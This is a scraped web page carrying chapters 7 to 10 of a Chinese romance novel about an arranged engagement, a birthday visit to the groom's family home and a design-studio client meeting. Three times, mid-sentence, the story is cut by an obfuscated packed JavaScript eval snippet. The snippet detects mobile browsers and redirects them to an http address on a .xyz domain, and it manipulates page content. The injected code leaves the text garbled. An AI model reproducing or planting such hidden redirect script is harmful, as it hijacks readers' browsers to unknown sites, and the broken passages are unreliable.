《婚不宜迟》 7. 第7章 劳斯莱斯幻影平稳地行驶在午后略显稀疏的车流中。 后座的空间被顶级皮革和实木的温润气息填满,隔绝了大部分城市的喧嚣。 蔺之序靠在后排宽大的座椅里,闭目养神。 手机持续震动,屏幕上跳动着的是一个名为“七号公馆”的群聊名称,消息正以惊人的速度向上滚动。 蒋昀铮:【@蔺之序五哥,今年生日宴还定司恒家茶楼?喝了十几年了,都腻了。】 裴时:【附议!】 司恒:【??@裴时我家茶楼招你惹你了?五哥别听他的,我那新进了一批老枞水仙,正等着你品鉴![茶壶][茶杯]】 蒋昀铮:【@司恒五哥现在是有家室的人了,懂不懂?懂不懂?[捶地狂笑.jpg]】 裴时:【对对对,今年应该不需要我们帮忙暖场子了,@蔺之序对吧?】 司恒:【叶瓷有安排了?那我们几个是不是可以识相点自己找地方喝闷酒去?】 蒋昀铮:【叶瓷说了要送什么礼物没?@蔺之序,明天晚上要是聚会照旧,把她也带过来。[膜拜.jpg]】 裴时:【照片!订婚那天我人在南非盯矿,完美错过,哪个好心人拍了现场照?】 蒋昀铮:【[图片][图片]@裴时喏现场偷拍,不用谢。[得意]】 蔺之序的目光停留在蒋昀铮发出来的那两张照片上,指尖悬停在屏幕上方,微微一顿,才落了下去。 第一张是订婚宴的签字台前。 他侧身站着,叶瓷微垂着头,正专注地看着面前铺开的婚书,她鼻梁挺直,侧脸的线条有种清冷的美。 他的目光看向她的头顶,两人之间隔着一个礼貌而克制的距离。 第二张大约是仪式结束,宾客鼓掌的瞬间。 叶瓷已经转过身,脸上带着得体的略显疏离的微笑。 而他,右手很自然地微微抬起,虚虚地悬停在她腰侧后方,这动作是一个在公开场合下,既显亲近又不失分寸的保护姿态。 裴时:【[大拇指][大拇指]郎才女貌,五哥这眼神……啧啧啧,有点故事啊[坏笑]。嫂子这气质,绝了![点赞]】 蒋昀铮:【@裴时现在知道后悔没回来了吧?五哥,快给个准话,明天带不带?我们好准备礼物。】 司恒:【@蔺之序地方你定,茶我备好。叶瓷有空就一起来,没空咱们就老规矩。】 蔺之序的指尖在输入框上停留片刻,他打字回复: 蔺之序:【明晚聚会不变,司恒家茶楼。】 蔺之序:【@蒋昀铮@裴时她工作室忙,没时间。】 信息刚发出,汤静娴的电话就进来了。 蔺之序拇指划过接听键,“妈。” 汤静娴:“在哪儿呢?” 蔺之序:“回公司的路上。” 汤静娴笑,“刚和叶瓷吃完饭回来?” 蔺之序:“嗯” 他声音平稳,听不出什么情绪。 汤静娴皱皱眉,语气里带着一丝期待:“怎么样?聊得还好吧?” 蔺之序回想了下中午的用餐过程,“还好。” 汤静娴的笑声传来,“你呀,别总一副公事公办的样子,跟人家女孩子相处,嘴巴要甜一点,主动一点!” “你那几个发小,像昀铮,多会哄女孩子开心,你也跟人家学学!工作上的那些心思,挪出来放到叶瓷身上,培养培养感情,听见没?” 蔺之序的目光投向窗外飞速倒退的高楼轮廓,应道:“知道了。” “光知道不行,要做到。”汤静娴嗔怪了一句,随即语调又轻快起来,“对了,我今天去找了白云观的玄清道长,请他帮忙合了你和叶瓷的生辰八字,算好了日子。” 她顿了顿,带着一种尘埃落定的喜悦,“下个月十六,大吉大利,宜嫁娶!就那天去领证,再好不过了!” 车窗外的光影在蔺之序脸上流动,明暗交错。 他沉默了一瞬,“嗯,好。知道了。” “你呀!” 汤静娴似乎还想再叮嘱几句,蔺之序适时地截住了话头:“快到公司了,下午还有两个会要开。” 汤静娴无奈笑,“好,那你忙吧,记住我说的话。” “嗯。”蔺之序应了一声,挂断了电话。 车厢内瞬间恢复了安静,只有顶级引擎运转时发出的几不可闻的低鸣。 他握着手机,屏幕尚未完全暗下去,拇指无意识地在冰凉的屏幕边缘滑动了一下,屏幕再次亮起,最后停留的界面,仍是那个喧嚣的“七号公馆”群聊。 蒋昀铮发的那两张照片,静静地躺在聊天记录里。 蔺之序的目光落在照片上,这一次,停留的时间稍长了一些。 他修长的手指在屏幕上点了几下,选中了那两张照片,然后,长按。 屏幕上跳出选项菜单。 指尖在“保存图片”的选项上悬滞了一瞬,终于,稳稳地按了下去。 做完这个动作,他拇指按下侧键,屏幕彻底暗了下去。 他将手机随手放在身旁的空位上,身体重新靠回椅背,闭目养神。 二十分钟后,车缓缓驶入盛域集团的地下车库。 手机在真皮座椅上震动了一下,发出沉闷的嗡鸣。 蔺之序并未立刻睁眼,直到震动停止,车厢内重归寂静几秒后,他才缓缓掀开眼帘。 屏幕亮起,通知栏清晰地显示着一条新消息。 发信人:叶瓷。 他眉峰几不可察地动了一下,指尖点开。 叶瓷:【明天你生日,我是不是和你一起庆祝比较好?】 蔺之序有些惊讶,她竟然知道明天是他生日,不过刚才一起吃饭时没提,应该是刚刚知道。 蔺之序想了想:【看你的时间,你要来吗?】 发送过后,他握着手机,另一只手无意识地在座椅边缘轻轻敲击着。 叶瓷:【嗯。】 叶瓷:【我们刚订过婚,我去参加你的生日宴,这样显得比较有礼貌。】 蔺之序看着她发来的文字,看了两遍,眉眼融进浅笑。 然后,他跟她解释:【以往的生日都是中午在家里简单吃一顿饭,晚上再和几个发小聚餐。】 叶瓷的回复很快:【去你家里。】 蔺之序:【好的。】 蔺之序:【明天上午九点,我让司机去接你。】 叶瓷:【嗯】 对话结束。 叶瓷拿起桌上的座机话筒,拨通了助理小于的内线。 叶瓷:“小于,是我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271020|182298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小于:“总监,您说。” 叶瓷:“帮我准备一份男士生日礼物,明天上午九点前送到工作室,预算——” 她报了一个足够体面但绝不夸张的数字,“风格,商务稳重为主。” 电话那头,小于的声音立刻进入高效状态:“好的总监。男士礼物,商务稳重……腕表,领带夹或者袖扣?您有更具体的倾向吗?或者品牌偏好?” 叶瓷的指尖无意识地绕着电话线。 “袖扣吧。” 小于:“好的,品牌呢?蒂芙尼?卡地亚还是——” 叶瓷:“蒂芙尼。” 小于:“好的,总监。我马上去办。” “等等。”叶瓷忽然出声打断。 话一出口,连她自己都怔了一下。 电话那头小于的声音停住:“总监?” “算了,”叶瓷的声音恢复平静,“礼物的事情,我自己去办,你忙别的吧。” “……好的,总监。” 小于带着一丝困惑,但职业素养让她没有多问。 挂掉电话,叶瓷又画了会儿设计图。 半小时后,她推开一家旗舰店的旋转门。 男士配饰区陈列着三组水晶展柜。 她径直走向正中那组,玻璃柜内丝绒托盘上整齐排列着二十余对袖扣,在射灯下折射出不同层次的光泽。 “女士需要看袖扣吗?”身着藏青色制服的销售顾问适时出现。 叶瓷微微颔首,目光并未在导购脸上过多停留,直接投向那些陈列柜。 叶瓷:“嗯,送给……一位商务人士,生日礼物。” 顾问戴上白手套,从防弹玻璃柜中取出三个黑色丝绒托盘:“这几款都是上周国贸商城VIP私享会上的新品。” 说着,顾问将放大镜递给叶瓷,在她看时,导购轻声介绍:“这一对是铂金镶祖母绿切割黑钻,采用的是隐形镶嵌工艺,黑钻净度达到VVS1级。” 叶瓷用镊子夹起一枚对着灯光转动,片刻,她放下袖扣,目光落在另外一款上。 顾问察言观色,“这款是瑞士大师手工雕刻,全球限量三对。” 叶瓷接过对方手里的显微镜,顾问的声音继续着,“珐琅配方参照故宫藏品复刻,烧制温度必须精确控制在798度。” 显微镜下,山水间的亭台楼阁清晰可见。 “就这对,”叶瓷从包里取出黑卡,“素色礼盒,烫金logo不要太明显。” 顾问:“好的,请问需要刻字吗?” 叶瓷想了想:“不需要,谢谢。” 当顾问准备去包装时,叶瓷的目光被角落一对陨石材质的袖扣吸引。 “那是中科院特别合作款。”顾问会意地取出。 叶瓷看了会儿,觉得这款特别适合哥哥,于是从卡包里抽出第二张黑卡放在柜台上,“请帮我把这个也包起来,分开包装。” 顾问笑容满面:“好的,女士,请稍等。” 片刻,顾问回来时,手里捧着两个精心包装的盒子。 深蓝色的那个系着银色缎带,棕色的则配了亚麻质地的装饰绳。 “您要写卡片吗?”顾问递上两张卡片。 叶瓷:“好。” 她在棕色礼盒的卡片上简单写下:生日快乐 8. 第8章 翌日早晨。 叶瓷晨跑回来,秦姨正在餐桌前忙碌,见她回来,“准备开饭咯。” “好的。”叶瓷应了一声,转身进浴室洗漱。 这段时间工作太忙,连晨跑也变成了一件心血来潮的事情,今天的配速明显不如以前。 叶瓷换好衣服出来,秦姨已经将早餐摆好——燕麦粥,鸡胸肉和一小把水焯菠菜。 昨晚她加班没有回去,一大早秦姨就带着食材过来了。 叶瓷:“秦姨,下次不用这么麻烦,我自己也会做这些的。” 秦姨笑,没接她的话,递上筷子,“你尝尝这个菠菜,我放了点儿橄榄油。” 叶瓷尝一口,点头,“嗯,好吃。” 秦姨来叶家服务多年了,是在温翎和叶绍山结婚的第二年。 温翎是南方人,初来京北,许多地方都不适应,尤其是用餐习惯,温书言疼女儿,所以就把家里最会做菜的秦姨派了过来。 后来温翎和叶绍山离婚,秦姨也没再离开。 叶瓷和她相处久了,内心早已把她当做家人。 两人边吃边聊着天。 秦姨:“昨天下午,段敏佳来了。” 叶瓷手里的勺子微顿。 段敏佳曾经是叶绍山的高级护工,在温翎和他办过离婚手续出国定居的第二年,他娶了段敏佳过门,先后生下叶湛和叶溦。 婚后,叶绍山在城西专门置办了房产,这些年,段敏佳一直在那边住着。 叶瓷:“她来做什么?” 秦姨:“也没说什么,……不过看样子应该是有事情。” 叶瓷:“哦。”低头继续用餐。 “听老和说,她前段日子去公司找少爷,去了好几次,想把她侄子安排进公司,少爷没见她,昨天过来,估计也是为了这事。” 叶瓷抬头,“想进公司直接按照招聘程序走就行了,找哥哥干什么。” 秦姨:“她侄子要文凭没文凭,要能力没能力,根本不符合招聘条件。” “少爷去年年初给他在分公司安排过工作,他自己不争气,混吃混喝,还插手财务,后来被举报到总公司,少爷也很生气。” 叶瓷喝完燕麦粥,拿纸巾擦了擦嘴角,刚好小于敲门进来,“叶总,蔺家的司机来了。” 叶瓷低头看时间,八点四十,“知道了,你先招待一下。” 小于合门出去后,叶瓷起身进衣帽间换衣服。 今天天气不错,她挑选了一条七分袖米色亚麻连衣裙,小圆领,头发随意扎低马尾,对着梳妆镜薄涂了玫调口红。 出了电梯,远远地,她看见季叔在会客沙发旁坐着。 季叔告诉她,“少爷临时回公司有点儿急事要处理。” 叶瓷点点头,和季叔已经见过几次面了,不算陌生,叶瓷开口也喊了声季叔。 今天是她第一次登门拜访,除了给蔺之序的生日礼物,她还给蔺家其他人各准备了一份——有苏州缂丝披肩,真丝围巾,茶具等。 “季叔,这是送给你的。” 季叔认出那是上好的龙井,“少奶奶,您太客气了。” —— 蔺家宅院坐落在京北西山脚下。 离开霓坊工作室,车窗外的景色逐渐从城市高楼变成了郁郁葱葱的园林,道路两旁的古松如同沉默的守卫。 车子驶入一条僻静的林荫道,拐过几个弯后,一座低调的中式院落出现在眼前。 青瓦灰墙,飞檐翘角,若不是门口那对历经百年的石狮子,很难想象这就是掌控着千亿商业帝国的蔺家祖宅。 五进院落融合了南北园林的精华,灰墙青瓦间点缀着太湖石与紫藤,既有北方建筑的庄重大气,又兼具江南园林的秀美灵动。 “松隐园”三个苍劲有力的大字刻在门匾上,据说是蔺家先祖请当时的书法大家所题。 大门无声开启,露出里面曲径通幽的庭院。 叶瓷刚走到门廊下,就听见身后传来汽车引擎声。 蔺之序从一辆黑色奔驰上下来,看见叶瓷了,目光在她身上停留两秒,转身和旁边的人交待了几句什么,随后朝她走过来。 作为盛域集团的掌舵人,蔺之序身上有种超越年龄的沉稳。 近了,蔺之序:“刚到?” 叶瓷:“嗯。” 蔺之序:“抱歉,临时有个合同要签,所以,没有过去接你。” 他声音不高,两人离得近,叶瓷闻到他身上淡淡的檀香调。 叶瓷笑:“没关系。” 季叔在前引路,叶瓷和蔺之序跟在后面。 穿过垂花门,叶瓷的高跟鞋在木质回廊上发出轻微的声响。 正走着,她放缓步子,低头从包里拿出礼盒,“这是送给你的礼物。” 蔺之序停下,然后又听见她说,“生日快乐。” 蔺之序嘴角微弯,“谢谢。” 叶瓷很少见他笑,此刻,他微微牵起唇角,一个几不可见的弧度,笑意极浅,像终年积雪的山巅忽然掠过一缕春风。 蔺之序看着手里的棕色礼盒,亚麻质地的装饰绳,他想,应该是袖扣。 正厅里,汤静娴正在沏茶。 看见叶瓷进来,她放下手中的紫砂壶,迎上去,笑容恰到好处地亲切:“小瓷来了。” “伯父伯母好。” 叶瓷一一送上礼物,得体地应对着长辈的问话,蔺之序站在一旁,偶尔补充几句,大多数时候只是安静地听着。 午餐在偏厅进行。 餐桌上摆着蔺家厨子的拿手菜——开水白菜、黄焖鱼翅、清蒸鲥鱼等,看似家常却处处考究。 “小瓷,尝尝这个。”汤静娴亲自为她布菜。 然后又跟她聊起家常,叶瓷知道蔺之序还有一个妹妹,比溦溦小两岁,叫蔺念一,不过,今天还没看见她的身影。 她问汤静娴,“念一不在家?” 汤静娴笑,“学校有什么活动,说晚上才能回来。” 叶瓷点点头。 餐后,蛋糕被厨师推上来了。 造型十分简单,大家围拢过来,汤静娴让蔺之序许愿。 蔺之序看向叶瓷,两人目光隔空相遇,叶瓷笑了下。 影影烛光,她看到他嘴角也弯了弯。 须臾,许愿结束。 蔺之序帮她盛了一块儿蛋糕,虽然他不喜欢吃甜的,但今天是个例外,两人坐在餐桌旁,一起吃蛋糕。 四周热闹,蔺之序见她吃完面前盘里的蛋糕,拿纸巾擦手,知道她不想再吃了。 “我带你到院子里转转吧?” 叶瓷点点头,“好啊。” 蔺家宅院比她想象中大得多,庭院中假山流水,亭台楼阁,每一处景致都恰到好处。 两人沿着回廊,叶瓷看见一个私人庭院,“那是什么地方?” 蔺之序闻言望过去,“那是我之前住的地方。” 叶瓷驻足看了会儿,“你现在不住这里吗?” 蔺之序:“嗯,我搬出来住了。” 这倒出乎她的意料,“那你现在住哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271021|182298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿?” 蔺之序:“在如园那边,离公司比较近。” 叶瓷知道那个小区,市中心寸土寸金的地方。 “那是一棵梅树吗?” 蔺之序:“对。” 蔺之序发现她好像挺喜欢这个小庭院,“你如果喜欢,等结婚后,我们可以搬回来住。” 叶瓷听他这样说,耳尖刷地有了热意。 初夏的风,吹着庭院里的绿植,哗哗作响。 默了片刻,风里传来蔺之序的声音,“我们到那边看看吧。” 叶瓷看他走在前方,背影挺拔如园中的青竹。 “这边是西跨院,家里的收藏室和书房都在这里。” 叶瓷还没在私人宅院里见过这么大的收藏室,她一直觉得外公在苏园的收藏室已经很大了。 眼前这个比外公家的大了一倍不止。 蔺之序推开一扇雕花木门,室内恒温恒湿系统发出轻微的嗡鸣。 叶瓷:“这是《踏春图》?” 蔺之序:“嗯,三个月前保利春拍拿下的。” 叶瓷的呼吸一窒。 作为设计师,她对历代服饰纹样有着近乎偏执的研究,而明代书画正是当初她博士论文的方向。 展柜中的画卷上,游人衣着华丽,衣袂飘飘,连袖口的暗纹都清晰可辨。 叶瓷凑近玻璃,她注意到右下角一处细节——一个孩童手中的风筝线几乎透明,却将整个画面的空间感拉得无比开阔。 叶瓷手指无意识地在玻璃上描摹线条:“这个孩童衣服上的缠枝纹,与我在故宫见过的一件出土服饰完全一致。文徵明肯定见过实物...…” 不知过了多久,她才回过神来,发现蔺之序就站在她身后半步的位置。 这个距离既不会打扰她欣赏,又能在她需要时及时回应。 “抱歉,看得太入迷了。”叶瓷有些不好意思。 蔺之序摇头:“专业的人看专业的门道,很正常。” 收藏室的灯光在他轮廓分明的脸上投下深浅不一的阴影,让他的表情显得晦暗不明。 他们继续在收藏室里走动,叶瓷不时对某件藏品发表看法,蔺之序简洁地补充一些收藏背景。 走到一处台阶时,叶瓷的高跟鞋不小心踩空,蔺之序迅速伸手握住了她的手腕。 他手掌的力道恰到好处,既不会捏痛她,又足够稳固。 叶瓷站稳后,他没有立即松开手,而是顺势牵着她走下台阶。 他的掌心温度传来,让叶瓷想起自己摸过的和田玉——温润却有着不容忽视的存在感。 “小心。”他说。 直到台阶走完,他才松开手。 阳光透过窗棂在地上投下斑驳的光影。 两人安静走了会儿,蔺之序转脸,“叶瓷,明天有时间见面吗?” 叶瓷看他,两人虽然已经订过婚了,可自己对他的了解仍趋近于零。 只有多接触,两人才会快速熟悉起来。 这样想时,叶瓷应下,“好。” 蔺之序问:“明天想吃什么?我提前预订。” 叶瓷想了想,自己好久没吃海鲜了,“我想吃粤式海鲜。” 蔺之序笑:“行。你有推荐的餐厅吗?” 叶瓷:“御膳轩。” 蔺之序:“好。” 离开收藏室,蔺之序突然停下脚步,转身看她:“忘了问,海鲜有什么忌口吗?” 叶瓷:“不吃鲍鱼。” 蔺之序点头,“好,记住了。” 9. 第9章 宾利在胡同口停下时,蔺之序正在看最后一份邮件。 季叔转脸:“少爷,到了。” 蔺之序嗯了声,数分钟后,他收起平板下车。 玄色西装在暮色里洇开一片墨色,他边走边解开袖扣。 胡同里的青石板路被冲洗得发亮,两侧红灯笼在夜风里摇晃。 穿藏青色中山装的侍者早已候在朱漆大门前,见他走来,恭敬地鞠了一躬:“蔺先生,裴少他们已经到了。” 蔺之序点头:“嗯。” 他迈过门槛,回廊尽头的包厢泄出零星光亮,隐约能听到里面传来的笑闹。 蔺之序抬手看了眼腕表,八点十分。 侍者推开门,包厢里顿时安静了一瞬。 “五哥,你迟到了。”司恒推了推反光的镜片,“十分钟。” 蔺之序脱下西装递给侍者,露出里面的深灰马甲:“路上堵车,又处理了会儿工作。” 司恒笑着接话,“前几天茶楼新进了峨眉山的一种野茶,听说这茶叶非常神奇——” “怎么个神奇法?”蒋昀铮很好奇,抢着问。 司恒一本正经,“这茶叶能戒工作瘾。” “……” 蒋昀铮:“那都留给五哥喝吧,我没这瘾,用不着。” 一众人从小一起长大,因为蔺之序在蔺家大家族里排行老五,所以众人打小就跟着蔺家的称呼,都喊五哥。 司恒还在打趣,蔺之序充耳不闻,走到已经留好的空位坐下。 侍者立刻端来他惯喝的单枞,茶汤澄澈,香气清冽。 “叶瓷呢?”坐在对面的裴时问道,眼睛还往门口看了看,“真没带她来啊?” “我到现在还没见到真人呢。” 蔺之序抿了口茶:“她最近工作很忙。” “五哥护得挺紧啊。”蒋昀铮笑。 “不是。”蔺之序放下茶杯,“她不喜欢这种场合。” 包厢里立即又响起一片起哄声。 “完了完了,铁树开花。” “京北有名的高岭之花蔺总也有走下神坛的一天。” 蔺之序任他们闹,侍者适时又进来添了茶。 蒋昀铮捏着烟的手点了点牌桌,“小梁哥刚替你赢了局大的。” 蔺之序目光扫过牌桌上狼藉的茶点,他解开表扣将腕表搁在托盘,金属与紫檀相触时几乎没发出声响:“从杭城飞过来就为打牌?” “哪能啊。”梁屿培推过一摞筹码,“听说你收了西郊那块地,所以过来取经。” 蔺之序很干脆:“明天我让潘岩把堪舆报告发你。” “太感谢了五哥,”梁屿培笑,然后又开口道,“五哥,其实我还有一事。” 蔺之序眼也没抬,“说。” 梁屿培凑近了些,“严家那小子找我三次了,他手里握着三条稀土生产线,能补你们新能源车的短板。” 蔺之序手里的牌没动,“听说上个月他父亲在澳门输掉了两个矿。” 梁屿培:“就是因为这个,所以要找棵新树傍着。” “五哥,你可以考虑考虑,他们家的稀土矿虽小,但离你们新能源基地近,运输成本可以降很多。” 说着,梁屿培早有准备地递过来一个文件,“他的诚意是,报价比市价低两成。” 须臾,蔺之序说,“周三下午五点,带他来公司,不过你提前跟他讲清楚,盛域只收合格矿石,不收澳门债。” 梁屿培连连点头,“这个一定。” 这时,司恒手拍了拍梁屿培,“小梁哥,今天就别谈生意了吧,什么日子你忘了?” 梁屿培:“五哥生日,我怎么会忘呢。” 司恒:“那就专心出牌。” 一局结束,牌局重新开始。 蔺之序起身,喊裴时过来,“这局你替我打。” 蒋昀铮看他,“怎么,五哥怕输?” 蔺之序:“烟味太重,我出去透透气。” 蒋昀铮看了眼自己手指上的烟,整个包厢就他一个人有烟瘾,感觉有被内涵到,转脸,“司恒,你家茶楼的新风系统不行啊,怎么烟味都散不去。” 司恒:“……” 身后,牌局继续。 蔺之序来到外面的回廊上,偶有侍者路过,“蔺总好。” 大家都认识这位身份贵重的常客是自家老板的朋友。 廊下还摆着几张茶案,偶有穿堂风掠过,蔺之序站了会儿,重新又回到茶室。 烟味淡了不少。 裴时见他进来,忙将手里的牌递给他,“五哥,您快请坐,我都输不起了。” 蔺之序拉开椅子坐下,这时,蒋昀铮问他,“刚才忘记问了,叶瓷送你什么生日礼物?” 蔺之序:“一对袖扣。” 蒋昀铮眼睛大了一圈:“不会就是你现在戴的这个吧?” 他这么一说,大家的眼睛都看了过来。 司恒笑:“那哪儿舍得戴,那可是老婆送的。” 蔺之序听到老婆两个字,正准备出牌的长指顿了下,下一秒,脸上不动声色,“不是这对。” 司恒又笑,“你们看我说的对吧,不舍得戴。” 袖扣虽然没有戴,可戒指却在大家的眼皮子底下。 戒指虽然没有钻,照旧闪了四个单身狗的眼。 梁屿培插话,“前段时间,叶北庭拿下物流园那片地,你知道吧?” 蔺之序:“听说了。” 梁屿培笑:“宋氏集团对那片地觊觎已久了,没想到,被叶北庭抢了先。” 蔺之序:“各凭实力办事。” 说到叶北庭,梁屿培问蔺之序:“他也是剑桥毕业的,你俩上学时候不认识吗?” 蔺之序:“我比他高一届,在学校见过几次,不过不熟。” 留学圈就那么些人,两人只能算是点头之交。 蒋昀铮:“这么说,你和叶瓷订婚之前也不怎么认识?” 蔺之序:“订婚之前见过一次。” 数周前的一个下午,在使馆区的一家西餐厅,那是他第一次见她本人。 长款卡其色风衣,腰带松松系了个结,领口立着,遮挡了部分颈项。 她走向他落座的那桌,四目相对,她清冷眼尾微弯,表情舒展,“你好,我是叶瓷。” …… 叶瓷是汤静娴帮他挑的联姻对象,用汤静娴的话说,我和叶瓷这孩子有眼缘,第一次见她,就很喜欢。 半年前,汤静娴参加一个慈善晚宴,活动现场,她和宁女士被安排在相邻的席位,两人坐在一起聊天,她看宁女士的新中式礼服很漂亮,于是问对方是在哪里定制的。 宁女士告诉她,在使馆区的霓坊,设计师是叶家的大小姐,叶瓷。 说起叶瓷,汤静娴想了许久,圈子里的贵妇小姐们,她虽认不全,可提起来哪个,也会有点儿印象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271022|182298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 唯独叶瓷,她不记得自己在哪个活动现场见过她,……没任何印象。 汤静娴隔三差五就有各种公共活动要参加,定制礼服是常事,当秘书给她推荐各种奢牌新款时,她想起了叶瓷。 在一个下午,她去了霓坊工作室。 在会客室里,她见到了叶瓷。 女孩儿身形高挑,气质清冷雅致,谈吐大方得体,汤静娴是越看越喜欢,越看越觉得和自己儿子般配。 那天,从霓坊回到蔺家老宅,她就催着蔺建昆张罗和叶家喜结联姻之事。 蔺建昆觉得她未免太性急了些,“你就见了人家一面,再说了,人家有正在谈的对象没有,家里有订下的亲事没有?” 汤静娴:“我问过她的助理了,说没有男朋友。” 蔺建昆:“那有没有婚约呢?” 汤静娴不知道这个,“所以你去打听啊,打听一下不就知道了。” 蔺建昆一向都很听汤静娴的吩咐,办事效率也高,第二天就问出结果来了,“没有婚约。” 汤静娴高兴极了,觉得这个儿媳妇准了。 接下来,所有的事情就像水到渠成一样,很顺利的进行了。 …… 司恒:“那你们两个工作狂有时间培养感情?” 司恒问过,一旁的蒋昀铮提醒他,“你家不是有峨眉山的野茶吗?” 司恒不解:“这关我家野茶什么事?” 蒋昀铮:“不是你说的,你家峨眉山野茶专治工作瘾,你拿出来,都给五哥。” “……” 司恒原本就是开一玩笑,没想到真有傻子上钩。 不想再提这茬事,司恒问大家,想吃什么,现在让厨房去做。 蔺之序:“我就不吃了,等会儿还要回去。” 司恒:“给你祝寿呢,今天专门交待了厨房要准备长寿面的。” 蔺之序想了想,然后低头看表,“借我一间安静的房间,十分钟后我有个视频会议要开。” 他最近在谈一个国外的收购案,原计划九点回去和那边的工作人员开个视频会。 司恒:“行,隔壁就有一间。” 他们每次聚会喝茶打牌都固定在一个包厢,为了不被打扰,司恒专门交待经理,隔壁的两间不对外开放。 蔺之序刚好又赢了,今晚手气不错,他把筹码一推,“我请客,大家随意。” 说着,他起身去了隔壁包厢。 会议开了半个小时,结束后出来,司恒几个人还在打牌,见他过来,司恒立刻按了服务按钮,交待厨房做长寿面。 裴时问他,“五哥,要不要再来打一局?” 蔺之序摇头:“不打了。” 茶室中间有道屏风,后面摆着一张长沙发,供休息用的。 蔺之序靠在沙发里闭目养神,不一会儿,手机翁声振动起来。 他拿在手里,屏幕上来电提示:叶瓷。 接通,叶瓷的声音传来:“没打扰到你吧?” 她知道他今晚还要和朋友聚会,这个时间点,聚会应该还没结束。 蔺之序:“不打扰,你说。” 叶瓷:“明天有个重要客户要来工作室参观,不好意思,我们约定的见面时间,……改天吧?” 蔺之序略一思索,“没事,明天的工作行程已经调整过了。” 叶瓷没料到他会这样说,默了默,“嗯,好的。” 10. 第10章 第二天上午。 叶瓷正在设计室里调整一件香槟色礼服的褶皱。 小于敲门进来。 “叶总,天工丝绸集团的客人已经到了,现在在会客室。” 叶瓷看了眼腕表,十点整。 她将手里的珠针插入软垫,然后抬头道,“让陈总监先带他们看新到的面料样本,我五分钟后到。” “好的。” 小于走后,叶瓷又对旁边的版师说,“腰节这里还是太松,再收0.3公分。” 版师:“嗯。” 会客室内,祁誉正倚在落地窗边,一身剪裁精良的深蓝色西装,玉树临风。 转头看见叶瓷走进来,“叶总监!” 他向前两步迎上去,笑着伸出手,“好久不见。” 叶瓷与他轻轻一握,“祁总好。” 接着,目光又转向祁誉身后的几位高管,微微颔首致意。 这时,祁誉的助理捧来一大束红玫瑰,黑色雾面纸包裹着九十九朵厄瓜多尔玫瑰,露珠还在花瓣上颤动。 祁誉笑着转递给她:“一点小心意。” 叶瓷示意小于接过花,笑道,“谢谢,祁总有心了。” 小于下楼去插花时,叶瓷领着众人走向设计区,高跟鞋在大理石地面上敲出清脆的节奏。 祁誉走到她身侧,“听说叶总监收到巴黎时装工会的邀请,参加十月初的个人展,恭喜恭喜。” 这件事,他是听彭罄说的。 那天在沪城会展中心,他在休息室等了好久,到底也没有见到叶瓷。 彩排结束后,彭罄告诉他,叶瓷已经订过婚了。 …… “谢谢。”叶瓷简短回应,脚步没停。 设计区内,十几位设计师正伏案工作,墙上贴满设计草图与面料小样。 叶瓷指向中央的人台,上面是一件未完成的刺绣礼服。 “这是我们下季高定的主推款,用了贵司提供的24姆米真丝底布。” 祁誉凑近观察,叶瓷解释:“这是敦煌飞天的图案。” 祁誉点点头。 叶瓷:“这件礼服的难点在于如何在薄纱上刺绣而不变形。我们试了七种衬底,最后选用祁氏的蚕丝网纱效果最好。” 祁誉笑,“谢谢。” 来到版房,叶瓷流畅地讲解了立体剪裁的要领。 祁誉:“这种斜裁手法对面料延展性要求很高吧?” 叶瓷笑,“确实。” “所以我们特别欣赏你们家真丝的经纬密度稳定性。”说着,她指向人台上的半成品,“这件用了贵司编号S-217的缎面。” “那是家父亲自参与研发的系列。”祁誉伸手轻触面料边缘。 经过刺绣工坊时,祁誉驻足观察一位绣娘的手法,“这是苏绣的套针?用在欧根纱上很见功力。” “祁总对刺绣有研究?”叶瓷示意绣娘展示双面异色绣技法。 “略懂皮毛,”他微微倾身观察针脚,“不过这种在薄纱上绣金银线的工艺,还是第一次见。” 叶瓷:“这是我们为下季高定开发的特殊技法。” 众人移步面料展示区。 天工丝绸的技术总监李明打开样品箱,“这是我们新研发的金属丝混纺。” 叶瓷接过样布,对着光线观察,“经纬密度是多少?” “经向68根,纬向72根。”李明推了推眼镜,“这个配比能保证金丝分布均匀又不影响面料柔软度。” 叶瓷将样布递给身旁的版师,“做个小样试试拉伸度。” 这时,她又转向李明,“上次那批真丝双绉,水洗后缩率比标称高了不少。” “这个,可能是后整理工艺——” “是预缩处理时间不足。”叶瓷从样品架上抽出一块布料,“这块意大利产的,缩率完全在标准内。” 祁誉笑,走向另一个展示架,“希望叶总监对我们新季的提花系列提出建议。” 